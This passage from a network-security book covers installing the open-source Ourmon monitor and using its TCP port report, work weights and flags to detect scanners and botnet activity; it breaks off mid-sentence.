might be eth1.\n2. If it makes sense to have a home/mask network, then change the\ndefault supplied by the script. For example, you might have net\n192.2.0.0/16, so put that in. If you don’t do this, you can always fix it\nlater by changing etc/ourmon.conf and rebooting the probe.\n3. When you install the graphics-engine software, configure.pl wants to\nknow where it should put the supplied Web files that arrived when\nyou unpacked ourmon and also where runtime-generated Web files\nshould be put.This is the external Web directory that you need to\nmake available to the Web via the (Apache) Web server.Web server\nconfiguration, which is beyond our scope, is needed to make that\nhappen. Depending on which UNIX distribution you choose, your\nApache Web server will have a global htdocs directory. For example,\nwith FreeBSD is could be /var/www/data.You need to know where\nthis directory is located before running configure.pl. Configure.pl will\ntake your supplied Web server directory and append ourmon to it\n(thus making the directory /var/www/data/ourmon in the file system\nand http://yoursystem/ourmon available on the Web). Supplied Web\nfiles and generated files at runtime (barring log files) will all be put in\nthat directory.Typically, any Web server has a default data directory\nwww.syngress.com\n236\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 255, "text": "and that is a good place for an ourmon Web file directory. Put the\nourmon Web file directory inside the default data directory.\n4. Configure.pl attempts to determine what form of crontab is in use\non the system and creates the needed crontab directories.You can\nchoose to have the installation process modify a root crontab file or\nyou can choose to have the installation process write the necessary\ncrontab directives to a file for you to update the root crontab file\nmanually.\nWithout the crontab directives, the system won’t work. Note that if you\ndo put the crontab directives in the live directory crontab file (for example,\n/root/crontab on FBSD), the Web server software will start to run and you\nmay get e-mail from the system complaining that the probe input files do not\nexist. Delete the e-mail and start the probe so that the complaints will stop.\nOne more trick is worth mentioning. It doesn’t hurt to run any exe-\ncutable in the ourmon bin just to test things. So, for example, an easy way to\ncheck if the RRDtool package is installed is simply to run bin/omupdate.pl\nby hand. Or just invoke Perl on it in debug mode:\n# perl –d bin/omupdate.pl\nTIP\nIn the etc/ourmon.conf file, there is a magic configuration line called \nhoneynet net/mask\nIn the TCP port report (and other places) that we mention in the\nnext chapter, various application flags are used, which appear when\nourmon learns something interesting about packets sent by a partic-\nular IP host. One application flag is called P for “honeypot.” If you\nhave the space in your network to create a so-called darknet (or hon-\neynet) and can tell ourmon the net/mask for that net, it will then flag\nIP hosts sending packets into that net. A darknet is a net with no hosts\nin it. This is a fairly effective and foolproof method for catching scan-\nners and barring some P2P applications (Kazaa is reputed to behave\nbadly but we have no experience with it), it can quite effectively\nreduce any false positive questions. Put another way, if you see a P,\nyou have a scanner at 99.9% certainty. The network space that one\nneeds to devote to a darknet is an interesting and open question. We\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n237\n" }, { "page_number": 256, "text": "believe that a /24 network will work. Your mileage may vary. In any\ncase, this is a tremendously useful thing to do, so if at all possible\nhave a darknet for capturing scanners.\nRunning it once will not seriously damage your logging. In either of the\ntwo cases (running it by hand or invoking the Perl debugger on it), com-\nplaints will be made if the RRDtool package cannot be found. If this is the\ncase, see the INSTALL file for tips on how to get RRDtool installed.\nNOTE\nWhen in doubt, read the supplied INSTALL file at /home/mrourmon/\nINSTALL. \nwww.syngress.com\n238\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 257, "text": "Summary\nIn this chapter, we have introduced you to the ourmon network management\nand anomaly-detection system. Ourmon is a free open-source tool download-\nable from www.sourceforge.com. We also introduced you to four case histo-\nries that we will use to dig deeper into ourmon in the next three chapters. In\naddition, we discussed how ourmon works as a software system and looked\ninto how to configure and install it.\nIn terms of botnets, we want to reiterate a few fundamental behavior pat-\nterns that we saw in our case histories. In our first case history we saw that a\nmultiple host DoS attack might be launched from the outside aimed at a local\nserver of some sort. We will return to this case history in Chapter 9 on\nAdvanced Ourmon Techniques.This case history is disturbing, because large\nDDoS attacks are very hard to monitor and can cause a great deal of network\ndistress. Our second case history is focused on large parallel network scans,\nand we will touch on how to get more details about such a scan in the\nChapter 7 on anomalies. Of course, both our case histories show external\nattacks. Sometimes these attacks may be inside out and in that case they reveal\nserious signs of infected hosts in an enterprise. Ourmon’s anomaly system is\nboth powerful and fundamental and a good understanding of it can help you\nfight botnets at least in terms of detecting attacking systems. Obviously,\nourmon’s IRC mechanism may not always detect botnets or systems with a\nworm or virus because such systems may not use IRC or may lack a commu-\nnication channel entirely.This is another good reason for understanding\nourmon’s fundamental anomaly-detection subsystems. Our last two case histo-\nries are on botnet meshes, botnet client meshes, and internal (by definition)\nbotnet server meshes. In Chapter 8 we will discuss ourmon’s IRC statistics\nand report features that can help you determine if you have attacking (and\nsometimes passive) botnet meshes of both kinds.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n239\n" }, { "page_number": 258, "text": "Solutions Fast Track\nCase Studies:Things That Go Bump in the Night\n\u0002 Ourmon uses graphics based on Tobias Oetiker’s popular RRDtool\nsystem (http://oss.oetiker.ch/rrdtool).\n\u0002 The pkts filter shows how many packets per second (pps) the\nourmon system is processing.\n\u0002 You need to observe your ourmon graphs and data daily and over\ntime build up some idea of what is normal.Then you will be able to\nspot anomalies.\n\u0002 The pkts filter can be used to see DoS and DDoS attacks.\n\u0002 The worm graph filter can be used to see large parallel scans.\n\u0002 The hourly IRC report can be used to look for anomalous IRC\nchannels and may indicate botnet activity.\n\u0002 The RRDtool IRC message count graph can show an on-campus\nbotnet server.\nHow Ourmon Works\n\u0002 Ourmon architecturally has two main components, a probe (sniffer)\nused for packet capture and a back-end graphics engine that makes\nWeb pages.\n\u0002 The ourmon system has three important cycle times.The probe\nproduces outputs every 30 seconds.The back-end software produces\nbase-lined data including hourly and daily ASCII reports.\n\u0002 RRDtool graphs include daily, weekly, monthly, and yearly graphs.\n\u0002 Ourmon dynamically creates Web pages and logs.The logs may be\nused for extracting more details about a particular case and are also\nused internally by ourmon to produce hourly summarizations.\nwww.syngress.com\n240\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 259, "text": "Installation of Ourmon\n\u0002 The supplied tool configure.pl is used for installing ourmon.\n\u0002 Ourmon has various dependencies (software not supplied by us)\nincluding a Web server, the RRDtool library, the libpcap library, and\nthe PCRE library.These should be installed before ourmon is\nconfigured.\n\u0002 The ourmon.sh script is used to start the probe.\n\u0002 The back-end graphics software is run from the root crontab once a\nminute.\n\u0002 If you have installation problems refer to the INSTALL file.\n\u0002 It is a very good practice to dedicate a small subnet as a darknet.This\ncan be very helpful in detecting scanning hosts.\nQ: What parts of ourmon are important for botnet detection?\nA: The anomaly-detection systems discussed in the next chapter and in\nChapter 8 on botnets are useful for botnet detection.\nQ: What parts of ourmon are important for anomaly detection?\nA: In the next chapter we will talk about the TCP and UDP port reports and\nthe new e-mail version of the port report, which are all useful for\nanomaly detection.That said, most of ourmon is in some general sense\nuseful for anomaly detection simply because if you know what is normal,\nyou can detect what is abnormal.The downside is that you have to look\nat the statistics over some period of time (say a week at least).\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n241\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 260, "text": "Q: What parts of ourmon might be useful to detect spammers?\nA: The e-mail port report is useful for detecting spammers.Although we\nwon’t discuss top N talkers in this book, packet counts and use of port 25\nfor top hosts can be a giveaway.The real tip here is to use a firewall or\naccess control lists to block port 25 for hosts that are not e-mail servers.\nQ: How can we detect DoS or DDoS attacks with ourmon?\nA: The two RRDtool graphs mentioned in this chapter as case histories are a\ngood start.The fundamental packets graph (pkts filter) can show multiple\nattacks or scans and can even be affected by a single instance of one host\nused for a DoS attack.The worm graph is also useful for detecting parallel\nscans. Sometimes the event log will give an IP address for a scanner (UDP\nin particular if the automated TCPDUMP function is turned on—see\nChapter 9). For TCP, one needs to find the associated TCP port report\nbased on a time estimate (again, see Chapter 9).\nQ: Should my probe system have only one Ethernet interface or should it\nhave two, one for sniffing, and one for remote access?\nA: It is far better and more secure to have two interfaces.The sniffing inter-\nface at least on BSD can be configured to have no IP address (or you can\nuse a private non-routable IP address like 10.0.0.1).This makes it difficult\nfor attackers to feed fake packets directly to the monitor box, thus tying\nup its CPU.Two interfaces also mean that the control interface can be\nprotected in various ways, possibly using switched VLANS so that it\ncannot be addressed by external hosts. If you can use two interfaces on the\nprobe, by all means do so.\nQ: I run the ourmon probe and nothing happens? Any advice?\nA: Try running the startup script by hand.Also, look in the system log direc-\ntory or on the console for error messages. Often the system log directory\nis /var/log/messages. One common error is getting the interface the\nprobe wants to use wrong. For example, on Linux you might tell con-\nfigure.pl that the probe interface is eth0 when it should have been eth1.\nLooking at /var/log/messages or using the dmesg command can help you\nwww.syngress.com\n242\nChapter 6 • Ourmon: Overview and Installation\n" }, { "page_number": 261, "text": "figure out which interface goes with which interface name.The netstat\ncommand can also be used to see if an interface is up or if packets are\nbeing sent or received.\nQ: Do I have to worry about the ourmon logging system? Will it fill up and\ndevour all known disk space eventually?\nA: Probably not.After one week, it will more or less occupy a fixed amount\nof space. RRDtool rrd databases do not grow after they are initially cre-\nated.The log directory files do get rolled over from day to day, but typi-\ncally one day is about the same size as the next day, thus the overall\namount of used disk space does not change.\nwww.syngress.com\nOurmon: Overview and Installation • Chapter 6\n243\n" }, { "page_number": 262, "text": "" }, { "page_number": 263, "text": "Ourmon: Anomaly\nDetection Tools\nSolutions in this chapter:\n■\nThe Ourmon Web Interface\n■\nA Little Theory\n■\nTCP Anomaly Detection\n■\nUDP Anomaly Detection\n■\nDetecting E-mail Anomalies\nChapter 7\n245\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 264, "text": "Introduction \nBefore we turn to the higher-level IRC tools in the next chapter, we need to\nfirst discuss a set of fundamental anomaly detection tools available in ourmon.\nThese are TCP, UDP, and e-mail tools. In this chapter we first discuss how\nourmon’s Web-based user interface works and then give a little theory about\nanomaly detection.As a result you will both understand the technical back-\nground and also be able to find the important anomaly detection parts of the\nourmon user interface.\nThere are several reasons for studying anomaly detection tools before we\nlook at the IRC botnet detection system in the next chapter. For one thing,\nthe IRC botnet detection system uses the TCP port report that we present in\nthis chapter.Another simple reason is that anomaly detection might detect an\ninfected system that is not part of a botnet. Finally, many botnets currently use\nIRC for communication, but there is no guarantee now or in the future that\na botnet will use IRC as a control channel.They could use other protocols,\nsuch as HyperText Transfer Protocol (HTTP), or simply wrap IRC with\nencryption.\nThe TCP and UDP port reports give us details about scanners that are typi-\ncally scanning for TCP- or UDP-based exploits at various port numbers.\nScanning could be due to the use of manual tools such as the famous nmap\ntool (www.nmap.org) or due to various forms of automated malware,\nincluding botnets. Our TCP tool of choice, called the TCP port report, has an\nassociated graph called the worm graph that we saw in the previous chapter.The\nTCP port report is a fundamental and very useful tool; understanding what it\nhas to say helps you detect scanners of various types. It actually comes in sev-\neral flavors—the basic TCP port report and several variations on that report\ncalled the p2p port report, the syndump port report, and the e-mail port report. We\ntreat e-mail as a separate category from TCP simply because botnets may gen-\nerate spam, and spam detection is very important in network security.\nThe UDP port report is somewhat similar to the TCP port report and also\nhas an associated graph called the UDP weight graph that shows the intensity\nand time of large UDP packet scans. In its case we have rarely seen botnet\nattacks that use UDP, although they do occur. Most use TCP, but we will look\nat UDP anyway, just in case.\nwww.syngress.com\n246\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 265, "text": "Before we delve into these topics, let’s take a brief tour of the ourmon\nWeb interface.This will help you find the TCP and UDP port reports and\nassociated tools in the future as well as find important bits of information,\nsuch as the ourmon help page.\nThe Ourmon Web Interface \nFigure 7.1 shows the top of the main ourmon Web page (index.html) that is\nsupplied by the configuration process. Here there are three HTML tables\n(tables of hypertext links) that provide different ways to get around the\nourmon interface.At the top we have a single line of hypertext links that we\ncan call the ourmon global directory. Underneath it we find the largest link table,\ncalled important security and availablility reports/web pages. We will spend most of\nour time with this table.The last table is called main page sections. It simply\nbreaks up the main page into subsections and allows you to jump to any sub-\nsection in the main page.\nFigure 7.1 Top of the Ourmon Web Page\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n247\n" }, { "page_number": 266, "text": "In the top table, the most important link is the help link, which takes you\nto the ourmon help page (called info.html).The help page was installed\nlocally as part of the configuration process.The help page (not shown here) in\nturn has a table of contents that attempts to spell out all details about a partic-\nular part of ourmon, including configuration and data interpretation. For\nexample, if you want to take a look at more details concerning the packets\nfilter mentioned in “Case History #1: DDOS” in the previous chapter, you\ncan jump to help either in the packets filter section of the main page (see\nFigure 7.2) or from the table of contents in the help page.\nAnother important link in the top table is the no-refresh page link. By\ndefault, the index.html main page is updated every 30 seconds.The no-refresh\npage is a copy of the main page that is not updated every 30 seconds. On that\npage, you must use a Web browser to refresh the main page yourself. Several\nof those links take you to places like the Sourceforge pages for ourmon so\nthat you can check for updates, but we won’t say more about that here.You\ncan explore those links on your own.\nThe second jump table is called important security and availability reports/web\npages. It is probably the most important of the three main tables at the top of\nthe main page.You would normally use to it find the sections of ourmon we\nwill talk about in this chapter and in the next few chapters.The idea of this\ntable is to determine the sections that are important for security. Regarding\nthe third and last table, called main page sections, we will only talk about the\nsummarization section, which is called weekly event logs/summarizations in the\nfirst two figures.\nIn Figure 7.2 we have moved down the main page a bit and are looking\nat the current RRDTOOL graph for the packets filter.The packets filter is\nthe first real data on the main page. Here there are two important things to\nnotice. Note how probe pkts/drop: is underlined.Also note how the entire\nRRDTOOL current time graph is also outlined. Both of these are hypertext\nlinks.The probe pkts/drop link takes you directly to the help page, where you\ncan get more information about the packets filter.Thus the help system is\navailable on the main page of ourmon by major data subsection and can be\nused to more easily navigate to specific information about the system.\nThe RRDTOOL link takes you to a second-level page that has all the\nRRDTOOL graphs (daily, weekly, monthly, and yearly) associated with the\nwww.syngress.com\n248\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 267, "text": "packets filter. In general, data links on the main page for data will take you to\na secondary data page that is concerned with a particular subject (such as the\nTCP port report, IRC stats, or the packets filter). Main page data graphs typi-\ncally show the most current information. Older or more complete informa-\ntion (previous days or weeks) is shown on secondary pages.\nFigure 7.2 Ourmon Main Web Page: Filter and Help Organization\nThe links shown in Table 7.1 from the security table are all important\nsecurity-related links, and we will touch on them all to some extent in this\nbook. In the previous chapter we talked about ourmon cycle-times, including\nthe 30-second view and daily summarizations. With the exception of the\nevent log, which logs any events the system believes to be interesting, most of\nthe links above give the 30-second view of the statistics. RRDTOOL charts\non the main page contain both 30-second and daily views so they have a little\nhistory, but of course they were updated for the last 30 seconds as well.The\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n249\n" }, { "page_number": 268, "text": "one exception is the IRC report section, which has a 30-second report, all\nRRDTOOL stats, and the very important IRC daily and weekly summariza-\ntions. Note that all the IRC information is in one place on the IRC page.\nTable 7.1 Important Links in the Security Table \nLink Name\nContent\nChapter\nTCP port report.txt\nTCP port report: Work \nChapter 7\nweight only used as filter\nEvent log today\nImportant system events \nChapter 9\nso far today\nEvent log yesterday\nImportant system events, \nChapter 9\nprevious day\nTCP worm (graph)\nRRDTOOL worm graph\nChapter 7\nSyndump port report\nTCP port report for all \nChapter 7\nhome IP addresses\nIRC stats report\nAll IRC data, RRDTOOL, and Chapter 8\nreports, including IRC \nsummarizations\nUdp port report.txt\nCurrent UDP port report\nChapter 7\nTop udpreport weight \nRRDTOOL UDP top N \nChapter 7\ngraph\ngraph; top UDP work \nweight outbursts\nE-mail syn report\nCurrent e-mail version \nChapter 7\nof TCP port report\nOn the other hand, if you use the last link on the main page sections table,\nyou go to the bottom of the main page, as shown in Figure 7.3. Here you\nsee daily and weekly summarizations for the various TCP port reports and\nthe event log.These represent daily average statistics for the various kinds of\nTCP port reports. Such summarizations have a different format than the 30-\nsecond formats because a lot of the statistics are averages and some statistics\nare judged more important than others or simply don’t make sense in a 30-\nsecond view. In Table 7.2, we list the summarizations provided at the bottom\nof the main Web page. We will see a few examples of real data for some of\nthese summarizations.There is no UDP port report summarization at \nthis point.\nwww.syngress.com\n250\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 269, "text": "Table 7.2 Ourmon Daily Summarizations\nSummarization Type\nContent: One Week’s Worth\nChapter\nEvent log \nEvent logs\nChapter 9\nPortsigs unfiltered\nTCP port report filtered by \nChapter 7\nnonzero TCP work weight\nPort 445 summarization\nTCP port report filtered to \nChapter 7 \nport 445 only\nWork weight >= 40\nTCP port report filtered to \nChapter 7\nhosts with TCP work weight \n>= 40\nP2P summarization\nTCP port report filtered to \nChapter 7\nhosts recognized using \nvarious P2P signatures\nSyndump summarization\nLocal IP TCP port report\nChapter 7\nE-mail syn summarization\nHosts sending e-mail SYN \nChapter 7\npackets\nNOTE\nWe will explain at length about the TCP and UDP work weights in a\nmoment. For now you need only understand that they are measures\nof efficiency in terms of packets sent by a particular IP host (IP\naddress). Scanners or boxes intent on performing a DOS attack have a\ntendency to be inefficient. \nIn Figure 7.3, one important thing to notice about the summarization\nlinks is how they are organized in terms of time.The daily summarization is\nfirst on the left side. It is updated hourly (say, 10:00 A.M., 11:00 A.M., etc.) on\nthe current day.The next link to that going from left to right is for yesterday;\nthe next link after that is for two days ago.Thus daily links are rolled over at\nmidnight to the next day.Today becomes yesterday. Roughly at the end of the\nweek, the oldest day is lost.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n251\n" }, { "page_number": 270, "text": "Figure 7.3 Ourmon Main Web Page: Summarizations\nNOTE\nEssentially, barring the IRC data itself, the most important data for-\nmats to understand are the 30-second and hourly TCP port report\nsummarization. Even the E-mail summarization format is based on the\nTCP port report formats. The UDP port report is similar to the TCP port\nreport and only has a 30-second version at this time. \nA Little Theory\nBefore we plunge in, we need to discuss some basic principles of anomaly\ndetection. When we talk about classical mechanisms for intrusion detection, we\nmight distinguish signature detection from anomaly-based tools. For example, if\nyou look at the popular Snort system (www.snort.org), Snort can take pat-\nterns expressed in ASCII or hex and apply these patterns on a per-packet\nbasis.Thus it can tell you that a particular packet has the SQL slammer worm\nwww.syngress.com\n252\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 271, "text": "in its data payload. We say that is an example of signature detection (although\nSnort has forms of anomaly detection, too). It is fair to say that signature-\nbased tools are useful because they can detect single-packet attacks and they\ncan alert you to reoccurrences of previously seen attacks. From the hacker\npoint of view, if an attack works, it will be used again, and some attacks are\nvery popular. On the other hand, signature detection does not detect new\nattacks (often called zero-day attacks) and might not necessarily give you the\nbig picture for an attack. For example, you might not be told that an attack is\nparallel or how large it is in terms of the number of systems or the number of\npackets involved.\nNote that anomaly detection tools are only useful if you have a feeling for\nwhat is normal. We use anomaly detection in detecting new attacks because\nwe do not have to have previous knowledge about any particular attack. From\nthe negative point of view, anomaly detection might not tell us exactly what\nwas going on with an attack. Snort can clearly come along and say “SQL-\nslammer,” and as a result we at least know what one packet was trying to do.\n(Of course, a given Snort signature could be wrong or out of date.) Anomaly\ndetection might only make it obvious that there is apparently an anomaly!\n“Pssst! Something is wrong (but I won’t tell you what).”As a result you might\nhave to do quite a bit of analytical work to come up with a satisfactory\nanswer, assuming you can find the answer. One of ourmon’s large pluses as an\nanomaly detection tool is that either its reports or its graphics often give you\nsome idea of the scale of an attack. For example, in the previous chapter we\ncould get a feeling for how large all the attacks were based on the RRD-\nTOOL graphs.\nWe feel that in some way looking for large anomalies makes sense simply\nbecause of what we might call the hacker rule of economy.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n253\n" }, { "page_number": 272, "text": "Notes from the Underground…\nThe Hacker Rule of Economy\nSmall attacks don’t pay. A hacker sending spam wants to send a lot of\nspam. A botnet client scanning for hosts to increase the botnet mesh\nsize wants to scan and exploit a lot of hosts. Otherwise the rate of\nreturn is too low. The hacker won’t get enough money from the spam\nor enough hosts for the botnet. Another economic measure is that\nusing a lot of bots results in an attractive network that might be sold\nto others. It is also more resistant simply because any bot client can\nbecome a bot server. If the human owner of the botnet has many\nclients, it is less important if one is lost and removed from the mesh. \nThis is why ourmon looks for anomalies in the large and tries to point\nout parallelism and give the user some sense of scale in an attack. Ourmon\nwon’t tell you about a single SQL slammer packet.That isn’t a design goal for\nourmon. Snort, on the other hand, can tell you about a single SQL slammer\npacket because detecting individual packet threats is a design goal.\nWe need one more definition before we go on. In intrusion detection, the\nterms false positive and false negative are used.A false positive is an event that the\nsystem reported that appears bad and in point of fact is benign.Too many\nfalse positives can cause an analyst to lose interest.A false negative is worse. In\nthat case the system reports that something is okay (or doesn’t report any-\nthing) and in point of fact the event is bad. Not reporting that the wolf is in\nthe house and is wearing grandma’s dress is bad, so false negatives are very bad\nindeed. On the other hand, systems and analysts using the system have limits.\nToo many false positives can wear an analyst out to the point that he or she\ndoesn’t pay attention any more.As a result, a family of wolves in the house\ncould be ignored.\nwww.syngress.com\n254\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 273, "text": "TCP Anomaly Detection\nIn this section we are going to look at the most important tool in ourmon’s\narsenal of anomaly detection tools.This is the TCP port report in several forms\nand formats. First we look at the basic 30-second ASCII TCP port report.The\nport report is useful for detecting scanning and P2P activity. Second we look\nat the TCP work weight, which is a statistical measure that is mostly used to\ndetect scanning.The TCP work weight is a fundamental background compo-\nnent for all TCP-based anomaly detection, including the IRC botnet detec-\ntion mechanism discussed in the next chapter. Our final two sections discuss\nthe TCP worm graph, which shows parallel scanning activity, and the hourly\nsummarized form of the TCP port report.There are a number of forms of the\nsummarized TCP port report that may be sorted on different statistics (for\nexample,TCP SYN counts).All these hourly summarized reports basically\nhave the same statistical format per individual IP host.Thus understanding the\nformat of the 30-second port report and the summarized format is very\nimportant for understanding the data provided by ourmon.\nTCP Port Report: Thirty-Second View\nTable 7.3 is a somewhat simplified TCP port report taken from PSU’s network\non the day of “Case History #3: Bot Client.”This report shows a number of\ntypical events in the base TCP port report, including two local attacking sys-\ntems, several remote attacking systems, and a few systems that are not\nattackers.Also, to protect the innocent (or the guilty), we use private IP\naddresses here. For remote hosts we will use net 10 addresses, and for local\nnetworks we will use net 192.168 addresses. Normally, of course, these could\nbe real IP addresses. Due to space issues we do not show all the fields in the\nTCP port report and might not show all the port signature field (the last\ncolumn) when there are more than a few destination ports. We will just show\n*** to mean that there are more.\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n255\n" }, { "page_number": 274, "text": "Table 7.3 TCP Port Report\nIp_src\nFlags\nApps\nWork\nSA/S\nL3D/L4D\nL4S/src\nSnt/rcv\nPort Signature\n10.0.0.1\nWOR\n100\n0\n41/1\n10/3441\n85/28\n[5900,100]\n10.10.10.10\nOR\nH\n17\n100\n3/26\n1/80\n124/147 [2829,10]***\n10.59.153.150\nEWOM\nP\n100\n100\n53/1\n10/1069\n54/0\n[445,100]\n192.168.153.150\nW\nP\n94\n0\n379/4\n10/8338\n784/34\n[139,23][445,65]***\n192.168.153.151\nEw\nI\n81\n0\n3/26\n10/2334\n624/44\n[139,15][445,60]***\n192.168.160.1\nG\n13\n0\n193/155\n10/8339\n1k/1k\n[1256,9][6346,43]***\nwww.syngress.com\n256\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 275, "text": "So, before we talk about the individual IP hosts in this report, let’s go\nthrough the columns and explain what the individual fields mean. In our\nexplanation, we will include some columns not shown in the table due to\nspace limitations. However, first notice a couple of important things.The fun-\ndamental object in the TCP port report is an IP host address and its associated\nstatistics.This is because we want to know if a host has been compromised.\nWe don’t care necessarily about its individual conversations with other TCP\nhosts. In particular, the 30-second version of the TCP port report is sorted by\nascending IP address.The reason for this is that sometimes you might get a\nhint that a set of hosts on an IP subnet have all been compromised. If that is\nthe case, they will appear next to each other line by line in the report (note\n192.168.153.150 and 192.168.153.151 in Table 7.3).Another sorting tactic\nconcerns the far-right column, called the port signature. Here we are looking at\na sampled set of 1 to maximum 10 TCP destination ports. Ourmon samples\n1–10 maximum destination ports for the host during the 30-second period.\nThis particular column is so important that it is called a port report. Note how\nthe port signatures for 192.168.153.150 and 192.168.153.151 match; this isn’t\nan accident.They are running the same malware that is currently performing\nthe same scan on both hosts.\nNotes from the Underground…\nIP Address Source Spoofing\nRegarding sorting by ascending IP address, once in a while if you are\nunlucky you might get to see something like 254 ascending IP addresses\nfrom the same IP subnet. A few years ago, a host on a PSU subnet was\ninfected with the agobot worm, and all of a sudden it looked like 254\nPSU IP hosts on the same /24 (256 IPs) subnet were transmitting at the\nsame time. They all showed up as “scanners” in the TCP port report. It\nwas really only one host spoofing other IP addresses on the same\nsubnet. Agobot has a loop mechanism to spoof IP source addresses so\nthat packets are sent in a loop, with each packet having a different but\nlocal IP address. So remember, if you see many contiguous IP addresses\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n257\nContinued\n" }, { "page_number": 276, "text": "that appear to come from the same IP subnet, it might actually only be\none IP address using IP address source spoofing. On the other hand, a\nhandful of IPs from the same subnet that are really different could indi-\ncate that the local network itself was fertile ground for hackers. \nNow let’s go through the column headings:\n■\nIP source address The statistics are organized around an individual\nIP address and are sorted in ascending order based on IP address.This\nmeans that your home address network will be grouped together\nsomewhere in the report.\n■\nFlags The flags are E,W, w, O, R, and M, respectively.They are a\nheuristic judgment based on whether traffic from this host is deemed\none-way or whether there is two-way traffic. Scanners are typically\none-way (host to destination). E means ICMP errors are being sent\nback. W means the TCP work weight is very high (>=90). w means\nthe work weight is >= 50. O means FINS (TCP control packet,\nmeaning end of conversation) are not being returned. R means TCP\nRESET (TCP control packets are being returned). RESETS means\nthe other end thinks you made an error; these are typically returned\nby TCP when no service port is open. M means few if any data\npackets are being returned. Scanners may typically get W,WOM, or\nsomething similar. If the system in question is really misbehaving, you\nmight get EWORM.\n■\nApps The application flags field uses a set of letters to convey var-\nious hints about data seen coming from the host. We call these letters\nflags or tags.There are hardwired (reserved) flags as well as user-pro-\ngrammable flags that match Unix-style regular expressions put in the\nourmon probe configuration.The user-programmable flags use pat-\ntern matching via the Perl Compatible Regular Expression (PCRE)\nsystem.The goal of the apps flag system overall is to indicate some-\nthing interesting about traffic from a host. In particular, we might be\nable to suggest that a particular kind of traffic was seen. We use the\napps flag field to help explain why certain classes of hosts will end up\nin the TCP port report over and over again. Sometimes Web servers\nwww.syngress.com\n258\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 277, "text": "or hosts employing peer-to-peer protocols such as BitTorrent or\nGnutella will appear.These systems may be considered false positives\nunless your local policy forbids peer-to-peer applications. We will talk\nabout this phenomenon more later in this chapter. Hardwired appli-\ncation flags include:\n■\nB BitTorrent protocol\n■\nG Gnutella protocol\n■\nK Kazaa protocol\n■\nM Morpheus protocol (P2P, too)\n■\nP Honeypot (darknet) violation\n■\nE E-mail source port (e.g., port 25) seen\n■\nH Web source port (e.g., port 80 or 443) seen \n■\nI IRC messages seen\n■\ns UDP only; indicates Spam for Internet Messenger (SPIM)\n■\nwork This is short for the TCP work weight. We will talk more later\nabout the TCP work weight because it is very important. It varies\nfrom 0 to 100 percent, and a high value means the host is sending all\ncontrol packets.This is often the case with a scanner. For example,\nSYN packets used by clients to open a TCP conversation or\nSYN+ACK packets used by servers as a response to a normal SYN\nfrom a client are examples of control packets. So are FIN and\nRESET packets.A 100-percent value means the host is only sending\ncontrol packets.TCP usually has some control packets and some data\npackets in a balance or preferably with more data packets than con-\ntrol packets. In summary, the work weight is a measure of control\nversus data efficiency. Low values, including 0 percent, are common,\neven with hosts using P2P protocols like BitTorrent.An FTP client\ntransferring a large file would typically have a value of zero.\n■\nSA/S SA/S stands for SYN+ACK packets divided by SYN packets.\nLike the TCP work weight, SA/S is expressed as a percentage, from 0\nto 100 percent.The basic idea is that during the 30-second sample\nperiod, the number of SYN+ACK flag packets sent by the IP host is\nwww.syngress.com\nOurmon: Anomaly Detection Tools • Chapter 7\n259\n" }, { "page_number": 278, "text": "divided by the number of SYN packets. A value of 100 percent or high\nsuggests that the host might be a server. A value of 0 on the other hand\nsuggests (only suggests and does not prove; after all, these things are\nspoofable) the host is a client. Often P2P hosts will have a value\nsomewhere between 0 and 100 percent.Your average bot could have\na 0 value.A Web server, on the other hand, typically has a high value.\nIn summary, you can view this as a suggestion as to whether or not a\nhost is mostly a client or a server or a little bit of both.\n■\nL3D/L4D L3D/L4D stands for Layer-3 destinations and Layer-4 desti-\nnations.This really means the number of unique IP destination\naddresses and the number of unique TCP destination port addresses\nseen in packets sent by the IP host during the sample period.A larger\nnumber for L3D suggests the host has a lot of fan-out in terms of\npeer hosts it is trying to converse with (or attack). Scanners some-\ntimes try to talk to a lot of IP hosts to find one with an open desti-\nnation port. Or in some cases they might talk to one host and try all\nits TCP destination ports to look for any open port. In that case, the\nLayer-3 destination value would be 1 and the Layer-4 destination\nvalue will be high.Your typical botnet client has a limited set of\nattacks (let’s say five) and as a result it will scan many IP hosts but\nonly a few ports, because its attacks are limited to certain ports like\nthe Microsoft classic attack destination ports 139 and 445.\n■\nL4S/src This statistic stands for L4 TCP source port information.\nOurmon samples both TCP source and destination ports. Destination\nport information is provided in the port signature field, which we dis-\ncuss in more detail later. L4S/src, on the contrary, is focused only on\nsource ports associated with the IP host. In this case, during one 30-\nsecond sample period the probe stores the first 10 source ports it sees\nup to a maximum of 10 and counts packets sent to those stored\nports. Most of the sampled information is not shown. For L4S the\nsystem only gives us the number of src ports seen ranging from 1 to a\nmaximum of 10 (take 10 to mean “many”).The src field itself simply\ngives us the first sampled source port number. The goal is to provide\na few clues about source ports but less information than about desti-\nwww.syngress.com\n260\nChapter 7 • Ourmon: Anomaly Detection Tools\n" }, { "page_number": 279, "text": "nation ports. This information isn’t always useful. However, look at\nthe IP address 10.10.10.10 in Table 7.3. In its case we see that it had\none source port in use, and that was port 80. That is a hint that said\nsystem is 